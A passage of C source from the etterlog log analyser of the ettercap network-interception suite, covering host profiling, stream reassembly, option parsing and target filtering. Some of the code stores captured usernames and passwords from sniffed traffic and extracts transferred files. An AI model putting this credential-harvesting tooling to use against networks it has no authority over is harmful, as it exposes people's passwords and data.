el_exit(int code) { libettercap_ui_cleanup(); el_globals_free(); exit(code); } // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_profiles.c0000644000175000017500000002023613505247365020634 0ustar koeppeakoeppea/* etterlog -- host profiling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ TAILQ_HEAD(, host_profile) hosts_list_head = TAILQ_HEAD_INITIALIZER(hosts_list_head); /* protos */ void *get_host_list_ptr(void); int profile_add_info(struct log_header_info *inf, struct dissector_info *buf); static void update_info(struct host_profile *h, struct log_header_info *inf, struct dissector_info *buf); static void update_port_list(struct host_profile *h, struct log_header_info *inf, struct dissector_info *buf); static void update_user_list(struct open_port *o, struct log_header_info *inf, struct dissector_info *buf); static void set_gateway(u_char *L2_addr); /************************************************/ /* * return the pointer to the host list */ void *get_host_list_ptr(void) { return &hosts_list_head; } /* * creates or updates the host list * return the number of hosts added (1 if added, 0 if updated) */ int profile_add_info(struct log_header_info *inf, struct dissector_info *buf) { struct host_profile *h; struct host_profile *c; struct host_profile *last = NULL; /* * do not store profiles for hosts with ip == 0.0.0.0 * they are hosts requesting for a dhcp/bootp reply. * they will get an ip address soon and we are interested * only in the latter. */ if (ip_addr_is_zero(&inf->L3_addr)) return 0; /* * if the type is FP_HOST_NONLOCAL * search for the GW and mark it */ if (inf->type & FP_HOST_NONLOCAL) { set_gateway(inf->L2_addr); /* the mac address of non local should not be saved */ memset(inf->L2_addr, 0, MEDIA_ADDR_LEN); } /* search if it already exists */ TAILQ_FOREACH(h, &hosts_list_head, next) { /* an host is identified by the mac and the ip address */ /* if the mac address is null also update it since it could * be captured as a DHCP packet specifying the GW */ if ((!memcmp(h->L2_addr, inf->L2_addr, MEDIA_ADDR_LEN) || !memcmp(inf->L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) && !ip_addr_cmp(&h->L3_addr, &inf->L3_addr) ) { update_info(h, inf, buf); /* the host was already in the list * return 0 host added */ return 0; } } /* the host was not found, create a new entry */ SAFE_CALLOC(h, 1, sizeof(struct host_profile)); /* update the host info */ update_info(h, inf, buf); /* search the right point to inser it (ordered ascending) */ TAILQ_FOREACH(c, &hosts_list_head, next) { if ( ip_addr_cmp(&c->L3_addr, &h->L3_addr) > 0 ) break; last = c; } if (TAILQ_FIRST(&hosts_list_head) == NULL) TAILQ_INSERT_HEAD(&hosts_list_head, h, next); else if (c != NULL) TAILQ_INSERT_BEFORE(c, h, next); else TAILQ_INSERT_AFTER(&hosts_list_head, last, h, next); return 1; } /* set the info in a host profile */ static void update_info(struct host_profile *h, struct log_header_info *inf, struct dissector_info *buf) { /* update the type only if not previously saved */ if (h->type == 0) h->type = inf->type; /* update the mac address only if local or unknown * and only if it is not null */ if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) if (memcmp(inf->L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) memcpy(h->L2_addr, inf->L2_addr, MEDIA_ADDR_LEN); /* the ip address */ memcpy(&h->L3_addr, &inf->L3_addr, sizeof(struct ip_addr)); /* the distance in HOP */ if (h->distance == 0) h->distance = inf->distance; /* copy the hostname */ strncpy(h->hostname, inf->hostname, MAX_HOSTNAME_LEN); /* * update the fingerprint only if there isn't a previous one * or if the previous fingerprint was an ACK * fingerprint. SYN fingers are more reliable */ if (inf->fingerprint[FINGER_TCPFLAG] != '\0' && (h->fingerprint[FINGER_TCPFLAG] == '\0' || h->fingerprint[FINGER_TCPFLAG] == 'A') ) memcpy(h->fingerprint, inf->fingerprint, FINGER_LEN); /* add the open port */ update_port_list(h, inf, buf); } /* * search the host with this L2_addr * and mark it as the GW */ static void set_gateway(u_char *L2_addr) { struct host_profile *h; /* skip null mac addresses */ if (!memcmp(L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) return; TAILQ_FOREACH(h, &hosts_list_head, next) { if (!memcmp(h->L2_addr, L2_addr, MEDIA_ADDR_LEN) ) { h->type |= FP_GATEWAY; return; } } } /* * update the list of open ports * and add the user and pass infos */ static void update_port_list(struct host_profile *h, struct log_header_info *inf, struct dissector_info *buf) { struct open_port *o; struct open_port *p; struct open_port *last = NULL; /* search for an existing port */ LIST_FOREACH(o, &(h->open_ports_head), next) { if (o->L4_proto == inf->L4_proto && o->L4_addr == inf->L4_addr) { /* set the banner for the port */ if (o->banner == NULL && buf->banner) o->banner = strdup(buf->banner); /* update the user info */ update_user_list(o, inf, buf); return; } } /* skip this port, the packet was logged for * another reason, not the open port */ if (inf->L4_addr == 0) return; /* create a new entry */ SAFE_CALLOC(o, 1, sizeof(struct open_port)); o->L4_proto = inf->L4_proto; o->L4_addr = inf->L4_addr; /* add user and pass */ update_user_list(o, inf, buf); /* search the right point to inser it (ordered ascending) */ LIST_FOREACH(p, &(h->open_ports_head), next) { if ( ntohs(p->L4_addr) > ntohs(o->L4_addr) ) break; last = p; } /* insert in the right position */ if (LIST_FIRST(&(h->open_ports_head)) == NULL) LIST_INSERT_HEAD(&(h->open_ports_head), o, next); else if (p != NULL) LIST_INSERT_BEFORE(p, o, next); else LIST_INSERT_AFTER(last, o, next); } static void update_user_list(struct open_port *o, struct log_header_info *inf, struct dissector_info *buf) { struct active_user *u; struct active_user *a; struct active_user *last = NULL; /* no info to update */ if (buf->user == NULL || buf->pass == NULL) return; /* search for an existing user and pass */ LIST_FOREACH(u, &(o->users_list_head), next) { if (!strcmp(u->user, buf->user) && !strcmp(u->pass, buf->pass) && !ip_addr_cmp(&u->client, &inf->client) ) { return; } } SAFE_CALLOC(u, 1, sizeof(struct active_user)); /* if there are infos copy it, else skip */ if (buf->user && buf->pass) { u->user = strdup(buf->user); u->pass = strdup(buf->pass); u->failed = inf->failed; memcpy(&u->client, &inf->client, sizeof(struct ip_addr)); } else { SAFE_FREE(u); return; } if (buf->info) u->info = strdup(buf->info); /* search the right point to inser it (ordered alphabetically) */ LIST_FOREACH(a, &(o->users_list_head), next) { if ( strcmp(a->user, u->user) > 0 ) break; last = a; } /* insert in the right position */ if (LIST_FIRST(&(o->users_list_head)) == NULL) LIST_INSERT_HEAD(&(o->users_list_head), u, next); else if (a != NULL) LIST_INSERT_BEFORE(a, u, next); else LIST_INSERT_AFTER(last, u, next); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_decode.c0000644000175000017500000001104113505247365020226 0ustar koeppeakoeppea/* etterlog -- decode a stream and extract file from it Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #ifdef HAVE_LIBGEN_H #include #endif #ifdef OS_WINDOWS #define MKDIR(path,acc) mkdir(path) #else #define MKDIR(path,acc) mkdir(path,acc) #endif /* globals */ static SLIST_HEAD (, dec_entry) extractor_table; struct dec_entry { u_int8 level; u_int32 type; FUNC_EXTRACTOR_PTR(extractor); SLIST_ENTRY (dec_entry) next; }; /*******************************************/ /* * decode the stream */ int decode_stream(struct stream_object *so) { struct so_list *pl; FUNC_EXTRACTOR_PTR(app_extractor); int ret = 0; /* get the port used by the stream, looking at the first packet */ pl = TAILQ_FIRST(&so->so_head); /* * we should run the extractor on both the tcp/udp ports * since we may be interested in both client and server traffic. */ switch (pl->po.L4.proto) { case NL_TYPE_TCP: app_extractor = get_extractor(APP_LAYER_TCP, ntohs(pl->po.L4.src)); EXECUTE_EXTRACTOR(app_extractor, so, ret); app_extractor = get_extractor(APP_LAYER_TCP, ntohs(pl->po.L4.dst)); EXECUTE_EXTRACTOR(app_extractor, so, ret); break; case NL_TYPE_UDP: app_extractor = get_extractor(APP_LAYER_UDP, ntohs(pl->po.L4.src)); EXECUTE_EXTRACTOR(app_extractor, so, ret); app_extractor = get_extractor(APP_LAYER_UDP, ntohs(pl->po.L4.dst)); EXECUTE_EXTRACTOR(app_extractor, so, ret); break; } /* if at least one extractor has found something ret is positive */ return ret; } /* * add a extractor to the extractors table */ void add_extractor(u_int8 level, u_int32 type, FUNC_EXTRACTOR_PTR(extractor)) { struct dec_entry *e; SAFE_CALLOC(e, 1, sizeof(struct dec_entry)); e->level = level; e->type = type; e->extractor = extractor; SLIST_INSERT_HEAD(&extractor_table, e, next); return; } /* * get a extractor from the extractors table */ void * get_extractor(u_int8 level, u_int32 type) { struct dec_entry *e; void *ret; SLIST_FOREACH (e, &extractor_table, next) { if (e->level == level && e->type == type) { ret = (void *)e->extractor; return ret; } } return NULL; } /* * open a file to write into. * the file are saved in a subdirectories structure like this: * - host * - proto * - stealed_file * e.g.: * - 192.168.0.1 * - HTTP * - images * - a.gif * - b.gif * - styles * - style.css * - index.html * - foo.php */ int decode_to_file(char *host, char *proto, char *file) { #define BASE_DIR "./decoded_files" char dir[1024]; char *p; char *path = strdup(file); char *filetmp = strdup(file); int fd; /* always create the base, host and proto directory */ strcpy(dir, BASE_DIR); MKDIR(dir, 0700); strlcat(dir, "/", sizeof(dir)); strlcat(dir, host, sizeof(dir)); MKDIR(dir, 0700); strlcat(dir, "/", sizeof(dir)); strlcat(dir, proto, sizeof(dir)); MKDIR(dir, 0700); /* now 'dir' contains "BASE_DIR/host/proto" */ /* parse the file to be created and create the required subdirectories */ for (p = strsep(&path, "/"); p != NULL; p = strsep(&path, "/")) { strlcat(dir, "/", sizeof(dir)); strlcat(dir, p, sizeof(dir)); /* the token is a directory, create it */ if (strcmp(p, basename(filetmp))) { MKDIR(dir, 0700); } else { /* exit the parsing and open the file */ break; } } /* actually open the file */ fd = open(dir, O_CREAT | O_TRUNC | O_RDWR | O_BINARY, 0600); SAFE_FREE(filetmp); SAFE_FREE(path); return fd; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_stream.c0000644000175000017500000002244713505247365020312 0ustar koeppeakoeppea/* etterlog -- create, search and manipulate streams Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ /* * initialize a stream object */ void stream_init(struct stream_object *so) { TAILQ_INIT(&so->so_head); so->side1.po_off = 0; so->side2.po_off = 0; so->side1.so_curr = TAILQ_FIRST(&so->so_head); so->side2.so_curr = TAILQ_FIRST(&so->so_head); } /* * add a packet to a stream */ int stream_add(struct stream_object *so, struct log_header_packet *pck, char *buf) { struct so_list *pl, *tmp; /* skip ack packet or zero length packet */ if (pck->len == 0) return 0; /* the packet is good, add it */ SAFE_CALLOC(pl, 1, sizeof(struct so_list)); /* create the packet object */ memcpy(&pl->po.L3.src, &pck->L3_src, sizeof(struct ip_addr)); memcpy(&pl->po.L3.dst, &pck->L3_dst, sizeof(struct ip_addr)); pl->po.L4.src = pck->L4_src; pl->po.L4.dst = pck->L4_dst; pl->po.L4.proto = pck->L4_proto; SAFE_CALLOC(pl->po.DATA.data, pck->len, sizeof(char)); memcpy(pl->po.DATA.data, buf, pck->len); pl->po.DATA.len = pck->len; /* set the stream direction */ /* this is the first packet in the stream */ if (TAILQ_FIRST(&so->so_head) == TAILQ_END(&so->so_head)) { pl->side = STREAM_SIDE1; /* init the pointer to the first packet */ so->side1.so_curr = pl; so->side2.so_curr = pl; /* check the previous one and set it accordingly */ } else { tmp = TAILQ_LAST(&so->so_head, so_list_head); if (!ip_addr_cmp(&tmp->po.L3.src, &pl->po.L3.src)) /* same direction */ pl->side = tmp->side; else /* change detected */ pl->side = (tmp->side == STREAM_SIDE1) ? STREAM_SIDE2 : STREAM_SIDE1; } /* add to the queue */ TAILQ_INSERT_TAIL(&so->so_head, pl, next); return pck->len; } /* * read data from the stream * mode can be: * STREAM_SIDE1 reads only from the first side (usually client to server) * STREAM_SIDE2 reads only from the other side */ int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode) { size_t buf_off = 0; size_t tmp_size = 0; struct so_list *so_curr = NULL; size_t po_off = 0; /* get the values into temp variable */ switch (mode) { case STREAM_SIDE1: so_curr = so->side1.so_curr; po_off = so->side1.po_off; break; case STREAM_SIDE2: so_curr = so->side2.so_curr; po_off = so->side2.po_off; break; } /* search the first packet matching the selected mode */ while (so_curr->side != mode) { so_curr = TAILQ_NEXT(so_curr, next); /* don't go after the end of the stream */ if (so_curr == TAILQ_END(&so->pl_head)) return 0; } /* size is decremented while it is copied in the buffer */ while (size) { /* get the size to be copied from the current po */ tmp_size = (so_curr->po.DATA.len - po_off < size) ? so_curr->po.DATA.len - po_off : size; /* fill the buffer */ memcpy(buf + buf_off, so_curr->po.DATA.data + po_off, tmp_size); /* the offset is the portion of the data copied into the buffer */ po_off += tmp_size; /* update the pointer into the buffer */ buf_off += tmp_size; /* decrement the total size to be copied */ size -= tmp_size; /* we have reached the end of the packet, go to the next one */ if (po_off == so_curr->po.DATA.len) { /* search the next packet matching the selected mode */ do { /* don't go after the end of the stream */ if (TAILQ_NEXT(so_curr, next) != TAILQ_END(&so->pl_head)) so_curr = TAILQ_NEXT(so_curr, next); else goto read_end; } while (so_curr->side != mode); /* reset the offset for the packet */ po_off = 0; } } read_end: /* restore the value in the real stream object */ switch (mode) { case STREAM_SIDE1: so->side1.so_curr = so_curr; so->side1.po_off = po_off; break; case STREAM_SIDE2: so->side2.so_curr = so_curr; so->side2.po_off = po_off; break; } /* return the total byte read */ return buf_off; } /* * move the pointers into the stream */ int stream_move(struct stream_object *so, size_t offset, int whence, int mode) { size_t tmp_size = 0; size_t move = 0; struct so_list *so_curr = NULL; size_t po_off = 0; /* get the values into temp variable */ switch (mode) { case STREAM_SIDE1: so_curr = so->side1.so_curr; po_off = so->side1.po_off; break; case STREAM_SIDE2: so_curr = so->side2.so_curr; po_off = so->side2.po_off; break; } /* no movement */ if (offset == 0) return 0; /* * the offest is calculated from the beginning, * so move to the first packet */ if (whence == SEEK_SET) { so_curr = TAILQ_FIRST(&so->so_head); po_off = 0; } /* the other mode is SEEK_CUR */ /* search the first packet matching the selected mode */ while (so_curr->side != mode) { so_curr = TAILQ_NEXT(so_curr, next); /* don't go after the end of the stream */ if (so_curr == TAILQ_END(&so->pl_head)) return 0; } while (offset) { /* get the length to jump to in the current po */ tmp_size = (so_curr->po.DATA.len - po_off < offset) ? so_curr->po.DATA.len - po_off : offset; /* update the offset */ po_off += tmp_size; /* decrement the total offset by the packet length */ offset -= tmp_size; /* update the total movement */ move += tmp_size; /* we have reached the end of the packet, go to the next one */ if (po_off == so_curr->po.DATA.len) { /* search the next packet matching the selected mode */ do { /* don't go after the end of the stream */ if (TAILQ_NEXT(so_curr, next) != TAILQ_END(&so->pl_head)) so_curr = TAILQ_NEXT(so_curr, next); else goto move_end; } while (so_curr->side != mode); /* reset the offset for the packet */ po_off = 0; } } move_end: /* restore the value in the real stream object */ switch (mode) { case STREAM_SIDE1: so->side1.so_curr = so_curr; so->side1.po_off = po_off; break; case STREAM_SIDE2: so->side2.so_curr = so_curr; so->side2.po_off = po_off; break; } return move; } /* * search a pattern into the stream * returns - NULL if not found * - the packet containing the string if found */ struct so_list * stream_search(struct stream_object *so, const char *buf, size_t buflen, int mode) { u_char *tmpbuf = NULL, *find; size_t offset = 0, len = 0; struct so_list *so_curr = NULL, *first; size_t po_off = 0; /* get the values into temp variable */ switch (mode) { case STREAM_SIDE1: so_curr = so->side1.so_curr; po_off = so->side1.po_off; break; case STREAM_SIDE2: so_curr = so->side2.so_curr; po_off = so->side2.po_off; break; } first = so_curr; /* create the buffer from the current position to the end */ for ( ; so_curr != TAILQ_END(so->so_head); so_curr = TAILQ_NEXT(so_curr, next)) { /* skip packet in the wrong side */ if (so_curr->side != mode) { po_off = 0; continue; } if (so_curr == first) len += so_curr->po.DATA.len - po_off; else len += so_curr->po.DATA.len; SAFE_REALLOC(tmpbuf, len); /* * add the packet to the end of the buffer * containing the whole conversation */ if (so_curr == first) memcpy(tmpbuf, so_curr->po.DATA.data + po_off, so_curr->po.DATA.len - po_off); else memcpy(tmpbuf + len - so_curr->po.DATA.len, so_curr->po.DATA.data, so_curr->po.DATA.len); } /* the buffer is found in the conversation */ if ((find = memmem(tmpbuf, len, buf, buflen)) != NULL) { offset = find - tmpbuf; SAFE_FREE(tmpbuf); /* move the stream pointers to the buffer found */ stream_move(so, offset, SEEK_CUR, mode); switch (mode) { case STREAM_SIDE1: return so->side1.so_curr; case STREAM_SIDE2: return so->side2.so_curr; } } SAFE_FREE(tmpbuf); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_parser.c0000644000175000017500000002565313505247365020315 0ustar koeppeakoeppea/* etterlog -- parsing utilities Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #ifdef HAVE_GETOPT_H #include #else #include #endif /* protos... */ static void el_usage(void); /*******************************************/ void el_usage(void) { fprintf(stdout, "\nUsage: %s [OPTIONS] logfile\n", PROGRAM); fprintf(stdout, "\nGeneral Options:\n"); fprintf(stdout, " -a, --analyze analyze a log file and return useful infos\n"); fprintf(stdout, " -c, --connections display the table of connections\n"); fprintf(stdout, " -f, --filter print packets only from this target\n"); fprintf(stdout, " -t, --proto display only this proto (default is all)\n"); fprintf(stdout, " -F, --filcon print packets only from this connection \n"); fprintf(stdout, " -s, --only-source print packets only from the source\n"); fprintf(stdout, " -d, --only-dest print packets only from the destination\n"); fprintf(stdout, " -r, --reverse reverse the target/connection matching\n"); fprintf(stdout, " -n, --no-headers skip header information between packets\n"); fprintf(stdout, " -m, --show-mac show mac addresses in the headers\n"); fprintf(stdout, " -k, --color colorize the output\n"); fprintf(stdout, " -l, --only-local show only local hosts parsing info files\n"); fprintf(stdout, " -L, --only-remote show only remote hosts parsing info files\n"); fprintf(stdout, "\nSearch Options:\n"); fprintf(stdout, " -e, --regex display only packets that match the regex\n"); fprintf(stdout, " -u, --user search for info about the user \n"); fprintf(stdout, " -p, --passwords print only accounts information\n"); fprintf(stdout, " -i, --show-client show client address in the password profiles\n"); fprintf(stdout, " -I, --client search for pass from a specific client\n"); fprintf(stdout, "\nEditing Options:\n"); fprintf(stdout, " -C, --concat concatenate more files into one single file\n"); fprintf(stdout, " -o, --outfile the file used as output for concatenation\n"); fprintf(stdout, " -D, --decode used to extract files from connections\n"); fprintf(stdout, "\nVisualization Method:\n"); fprintf(stdout, " -B, --binary print packets as they are\n"); fprintf(stdout, " -X, --hex print packets in hex mode\n"); fprintf(stdout, " -A, --ascii print packets in ascii mode (default)\n"); fprintf(stdout, " -T, --text print packets in text mode\n"); fprintf(stdout, " -E, --ebcdic print packets in ebcdic mode\n"); fprintf(stdout, " -H, --html print packets in html mode\n"); fprintf(stdout, " -U, --utf8 print packets in uft-8 using the \n"); fprintf(stdout, " -Z, --zero do not print packets, only headers\n"); fprintf(stdout, " -x, --xml print host infos in xml format\n"); fprintf(stdout, "\nStandard Options:\n"); fprintf(stdout, " -v, --version prints the version and exit\n"); fprintf(stdout, " -h, --help this help screen\n"); fprintf(stdout, "\n\n"); el_exit(0); } void parse_options(int argc, char **argv) { int c; static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, { "binary", no_argument, NULL, 'B' }, { "hex", no_argument, NULL, 'X' }, { "ascii", no_argument, NULL, 'A' }, { "text", no_argument, NULL, 'T' }, { "ebcdic", no_argument, NULL, 'E' }, { "html", no_argument, NULL, 'H' }, { "utf8", required_argument, NULL, 'U' }, { "zero", no_argument, NULL, 'Z' }, { "xml", no_argument, NULL, 'x' }, { "analyze", no_argument, NULL, 'a' }, { "connections", no_argument, NULL, 'c' }, { "filter", required_argument, NULL, 'f' }, { "filcon", required_argument, NULL, 'F' }, { "no-headers", no_argument, NULL, 'n' }, { "only-source", no_argument, NULL, 's' }, { "only-dest", no_argument, NULL, 'd' }, { "show-mac", no_argument, NULL, 'm' }, { "show-client", no_argument, NULL, 'i' }, { "color", no_argument, NULL, 'k' }, { "reverse", no_argument, NULL, 'r' }, { "proto", required_argument, NULL, 't' }, { "only-local", required_argument, NULL, 'l' }, { "only-remote", required_argument, NULL, 'L' }, { "outfile", required_argument, NULL, 'o' }, { "concat", no_argument, NULL, 'C' }, { "decode", no_argument, NULL, 'D' }, { "user", required_argument, NULL, 'u' }, { "regex", required_argument, NULL, 'e' }, { "passwords", no_argument, NULL, 'p' }, { "client", required_argument, NULL, 'I' }, { 0 , 0 , 0 , 0} }; optind = 0; while ((c = getopt_long (argc, argv, "AaBCcDdEe:F:f:HhiI:kLlmno:prsTt:U:u:vXxZ", long_options, (int *)0)) != EOF) { switch (c) { case 'a': EL_GBL_OPTIONS->analyze = 1; break; case 'c': EL_GBL_OPTIONS->connections = 1; break; case 'D': EL_GBL_OPTIONS->connections = 1; EL_GBL_OPTIONS->decode = 1; NOT_IMPLEMENTED(); break; case 'f': #ifdef WITH_IPV6 if (!strncmp(optarg, "///", 3) && strlen(optarg) == 3) EL_GBL_TARGET->scan_all = 1; #else if (!strncmp(optarg, "//", 2) && strlen(optarg) == 2) EL_GBL_TARGET->scan_all = 1; #endif compile_target(optarg, EL_GBL_TARGET); break; case 'F': filcon_compile(optarg); break; case 's': EL_GBL_OPTIONS->only_source = 1; break; case 'd': EL_GBL_OPTIONS->only_dest = 1; break; case 'k': EL_GBL_OPTIONS->color = 1; break; case 'r': EL_GBL_OPTIONS->reverse = 1; break; case 't': EL_GBL_TARGET->proto = strdup(optarg); break; case 'n': EL_GBL_OPTIONS->no_headers = 1; break; case 'm': EL_GBL_OPTIONS->showmac = 1; break; case 'i': EL_GBL_OPTIONS->showclient = 1; break; case 'I': if (ip_addr_pton(optarg, &EL_GBL->client) != E_SUCCESS) { FATAL_ERROR("Invalid client ip address"); return; } break; case 'l': EL_GBL_OPTIONS->only_local = 1; break; case 'L': EL_GBL_OPTIONS->only_remote = 1; break; case 'u': EL_GBL->user = strdup(optarg); break; case 'p': EL_GBL_OPTIONS->passwords = 1; break; case 'e': EL_GBL_OPTIONS->regex = 1; set_display_regex(optarg); break; case 'o': EL_GBL_LOGFILE = strdup(optarg); break; case 'C': EL_GBL_OPTIONS->concat = 1; break; case 'B': EL_GBL->format = &bin_format; break; case 'X': EL_GBL->format = &hex_format; break; case 'A': EL_GBL->format = &ascii_format; break; case 'T': EL_GBL->format = &text_format; break; case 'E': EL_GBL->format = &ebcdic_format; break; case 'H': EL_GBL->format = &html_format; break; case 'U': set_utf8_encoding((u_char*)optarg); EL_GBL->format = &utf8_format; break; case 'Z': EL_GBL->format = &zero_format; break; case 'x': EL_GBL_OPTIONS->xml = 1; break; case 'h': el_usage(); break; case 'v': printf("%s %s\n", PROGRAM, EC_VERSION); el_exit(0); break; case ':': // missing parameter fprintf(stdout, "\nTry `%s --help' for more options.\n\n", PROGRAM); el_exit(0); break; case '?': // unknown option fprintf(stdout, "\nTry `%s --help' for more options.\n\n", PROGRAM); el_exit(0); break; } } /* file concatenation */ if (EL_GBL_OPTIONS->concat) { if (argv[optind] == NULL) FATAL_ERROR("You MUST specify at least one logfile"); /* this function does not return */ concatenate(optind, argv); } /* normal file operation */ if (argv[optind]) open_log(argv[optind]); else FATAL_ERROR("You MUST specify a logfile\n"); /* default to ASCII view */ if (EL_GBL->format == NULL) EL_GBL->format = &ascii_format; return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_target.c0000644000175000017500000002612713505247365020304 0ustar koeppeakoeppea/* etterlog -- target filtering module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ // we cannot use the libettercap functions, since theu use I/O functions, that in order // to work needs to drag in the ec_ui functions. static void add_port(void *ports, u_int n); static void add_ip(void *digit, u_int n); static int expand_range_ip(char *str, void *target); #ifdef WITH_IPV6 /* Adds IPv6 address to the target list */ static int expand_ipv6(char *str, struct target_env *target) { struct ip_addr ip; if(ip_addr_pton(str, &ip) != E_SUCCESS) ui_error("Invalid IPv6 address"); add_ip_list(&ip, target); return E_SUCCESS; } #endif /* * convert a string into a target env */ int compile_target(char *string, struct target_env *target) { #define MAC_TOK 0 #define IP_TOK 1 #ifdef WITH_IPV6 #define IPV6_TOK 2 #define PORT_TOK 3 #define MAX_TOK 4 #else #define PORT_TOK 2 #define MAX_TOK 3 #endif char valid[] = "1234567890/.,-;:ABCDEFabcdef"; char *tok[MAX_TOK]; char *p; int i = 0; // DEBUG_MSG("compile_target TARGET: %s", string); /* reset the special marker */ target->all_mac = 0; target->all_ip = 0; target->all_ip6 = 0; target->all_port = 0; /* check for invalid char */ if (strlen(string) != strspn(string, valid)) FATAL_ERROR("TARGET (%s) contains invalid chars !", string); /* TARGET parsing */ for (p = strsep(&string, "/"); p != NULL; p = strsep(&string, "/")) { tok[i++] = strdup(p); /* bad parsing */ if (i > (MAX_TOK - 1)) break; } if (i != MAX_TOK) #ifdef WITH_IPV6 FATAL_ERROR("Incorrect number of token (///) in TARGET !!"); #else FATAL_ERROR("Incorrect number of token (//) in TARGET !!"); #endif // DEBUG_MSG("MAC : [%s]", tok[MAC_TOK]); // DEBUG_MSG("IP : [%s]", tok[IP_TOK]); //#ifdef WITH_IPV6 // DEBUG_MSG("IPv6 : [%s]", tok[IPV6_TOK]); //#endif // DEBUG_MSG("PORT : [%s]", tok[PORT_TOK]); /* set the mac address */ if (!strcmp(tok[MAC_TOK], "")) target->all_mac = 1; else if (mac_addr_aton(tok[MAC_TOK], target->mac) == 0) FATAL_ERROR("Incorrect TARGET MAC parsing... (%s)", tok[MAC_TOK]); /* parse the IP range */ if (!strcmp(tok[IP_TOK], "")) target->all_ip = 1; else for(p = strsep(&tok[IP_TOK], ";"); p != NULL; p = strsep(&tok[IP_TOK], ";")) expand_range_ip(p, target); #ifdef WITH_IPV6 if(!strcmp(tok[IPV6_TOK], "")) target->all_ip6 = 1; else for(p = strsep(&tok[IPV6_TOK], ";"); p != NULL; p = strsep(&tok[IPV6_TOK], ";")) expand_ipv6(p, target); #endif /* * if only one of IP address families is specified, * the other is not automatically treated as ANY * because that is not the natural behaviour of a filter */ if (!target->all_ip || !target->all_ip6) { /* one of the IP target was specified, reset the ANY state */ target->all_ip = 0; target->all_ip6 = 0; } /* * expand the range into the port bitmap array * 1<<16 is MAX_PORTS */ if (!strcmp(tok[PORT_TOK], "")) target->all_port = 1; else { if (expand_token(tok[PORT_TOK], 1<<16, &add_port, target->ports) == -E_FATAL) FATAL_ERROR("Invalid port range"); } for(i = 0; i < MAX_TOK; i++) SAFE_FREE(tok[i]); return E_SUCCESS; } /* * set the bit of the relative port */ static void add_port(void *ports, u_int n) { u_int8 *bitmap = ports; if (n > 1<<16) FATAL_ERROR("Port outside the range (65535) !!"); BIT_SET(bitmap, n); } /* * this structure is used to contain all the possible * value of a token. * it is used as a digital clock. * an impulse is made to the last digit and it increment * its value, when it reach the maximum, it reset itself * and gives an impulse to the second to last digit. * the impulse is propagated till the first digit so all * the values are displayed as in a daytime from 00:00 to 23:59 */ struct digit { int n; int cur; u_char values[0xff]; }; /* * prepare the set of 4 digit to create an IP address */ static int expand_range_ip(char *str, void *target) { struct digit ADDR[4]; struct ip_addr tmp; struct in_addr ipaddr; char *addr[4]; char parsed_ip[16]; char *p, *q; int i = 0, j; int permut = 1; char *tok; memset(&ADDR, 0, sizeof(ADDR)); p = str; /* tokenize the ip into 4 slices */ while ((q = ec_strtok(p, ".", &tok)) ) { addr[i++] = strdup(q); /* reset p for the next strtok */ if (p != NULL) p = NULL; if (i > 3) break; } if (i != 4) FATAL_ERROR("Invalid IP format !!"); DEBUG_MSG("expand_range_ip -- [%s] [%s] [%s] [%s]", addr[0], addr[1], addr[2], addr[3]); for (i = 0; i < 4; i++) { p = addr[i]; if (expand_token(addr[i], 255, &add_ip, &ADDR[i]) == -E_FATAL) FATAL_ERROR("Invalid port range"); } /* count the free permutations */ for (i = 0; i < 4; i++) permut *= ADDR[i].n; /* give 